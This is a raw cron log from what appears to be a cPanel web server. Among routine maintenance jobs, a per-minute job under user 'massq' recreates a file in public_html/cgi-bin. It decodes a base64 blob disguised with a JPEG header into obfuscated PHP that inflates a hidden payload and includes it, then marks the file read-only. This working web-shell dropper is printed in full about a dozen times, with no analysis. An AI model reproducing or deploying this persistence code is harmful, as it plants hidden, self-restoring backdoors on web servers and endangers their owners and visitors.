Sep 11 14:44:01 server CROND[1382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:44:01 server CROND[1383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:45:01 server CROND[1829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:45:01 server CROND[1832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:45:01 server CROND[1830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:45:01 server CROND[1837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:45:01 server CROND[1839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:45:01 server CROND[1841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:45:01 server CROND[1838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:46:01 server CROND[2733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:46:01 server CROND[2734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:46:01 server CROND[2735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:47:01 server CROND[3227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:47:01 server CROND[3229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:47:01 server CROND[3228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:48:01 server CROND[3721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:48:01 server CROND[3723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:48:01 server CROND[3722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:49:01 server CROND[4115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:49:01 server CROND[4116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:49:01 server CROND[4117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:50:01 server CROND[4512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:50:01 server CROND[4513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:50:01 server CROND[4515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:50:01 server CROND[4523]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:50:01 server CROND[4522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:50:01 server CROND[4520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:50:01 server CROND[4524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:50:01 server CROND[4519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:50:01 server CROND[4521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:51:01 server CROND[5355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:51:01 server CROND[5356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:51:01 server CROND[5357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:52:01 server CROND[5795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:52:01 server CROND[5796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:52:01 server CROND[5797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:53:01 server CROND[6238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:53:01 server CROND[6239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:53:01 server CROND[6240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:54:01 server CROND[6620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:54:01 server CROND[6621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:54:01 server CROND[6622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:55:01 server CROND[7023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:55:01 server CROND[7025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:55:01 server CROND[7026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:55:01 server CROND[7030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:55:01 server CROND[7027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:55:01 server CROND[7028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:55:01 server CROND[7029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
